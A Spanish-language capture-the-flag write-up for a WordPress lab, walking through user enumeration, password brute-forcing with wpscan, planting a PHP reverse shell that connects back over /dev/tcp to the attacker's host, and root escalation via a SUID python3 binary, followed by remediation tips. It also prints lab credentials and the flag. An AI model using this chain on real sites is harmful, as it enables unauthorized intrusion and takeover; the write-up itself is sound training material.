# GhostLabs — WORDPRESS PRIVESC :: Write-up

> ⚠️ SPOILER — Lee esto solo después de intentar resolver el lab.

---

## Información del lab

| Campo       | Valor                          |
|-------------|--------------------------------|
| Dificultad  | Media (3 pts)                  |
| Servicios   | SSH (2222) · Web (8080)        |
| Usuario SSH | sheldon / penny                |
| Usuario WP  | sheldon / leonard              |
| Vectores    | WP brute → shell reversa → SUID|

---

## Flujo de ataque

```
nmap → web + SSH
  ↓
wpscan → usuario "sheldon"
  ↓
hydra/wpscan → password "leonard"
  ↓
WordPress admin → editor temas → shell reversa
  ↓
www-data → python3 SUID → root → flag.txt
```

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p 2222,8080 <LAB_IP>
```

Verás SSH en 2222 y Apache/WordPress en 8080.

---

## Paso 2 — Enumeración WordPress

```bash
wpscan --url http://<LAB_IP>:8080 --enumerate u
```

WPScan descubre el usuario **sheldon** a través de la API de WordPress.

---

## Paso 3 — Fuerza bruta

```bash
wpscan --url http://<LAB_IP>:8080 \
       --usernames sheldon \
       --passwords /usr/share/wordlists/rockyou.txt
```

Credenciales encontradas: `sheldon` / `leonard`

---

## Paso 4 — Shell reversa desde WordPress

Accede al panel: `http://<LAB_IP>:8080/wp-admin`

Ve a **Apariencia → Editor de temas**. El tema activo es **Twenty Twenty** — selecciona `404.php` en la lista de archivos de la derecha e inyecta la shell PHP al inicio del bloque `<?php`:

```php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/4444 0>&1'");
/**
 * The template for displaying 404 pages...
```

> ⚠️ `<TU_IP>` es la IP de tu Kali, **no** la del contenedor. Desde dentro del contenedor Docker, Kali es accesible en `172.17.0.1` (IP del bridge Docker). Compruébalo con `ip a show docker0`.

En tu Kali, abre un listener **antes** de guardar:

```bash
nc -lvnp 4444
```

Guarda el archivo (botón **Update File**) y dispara la shell visitando cualquier URL inexistente en WordPress:

```bash
curl http://<LAB_IP>:8080/ghostlabs-pwned
```

> ⚠️ No accedas directamente al archivo `.php` — WordPress debe procesar la petición a través de su router para que se cargue el template 404.php.

Obtienes shell como **www-data**.

---

## Paso 5 — Escalada a root con python3 SUID

Desde la shell reversa, busca binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Verás `/usr/bin/python3` con SUID activo. Consúltalo en GTFOBins:

```bash
/usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

```bash
whoami
# root
```

---

## Paso 6 — Flag

```bash
cat /root/flag.txt
# GhostLabs{wp_2_r3v3rs3_2_su1d_0wn3d}
```

---

## Remediación

- No uses contraseñas débiles en paneles de administración
- Deshabilita el editor de temas en WordPress: `define('DISALLOW_FILE_EDIT', true);`
- Nunca pongas SUID en intérpretes como python, perl, ruby, etc.
- Aplica el principio de mínimo privilegio en todos los servicios

---

*GhostLabs — red team operations :: offensive security*
*www.unfantasmaenelsistema.com*
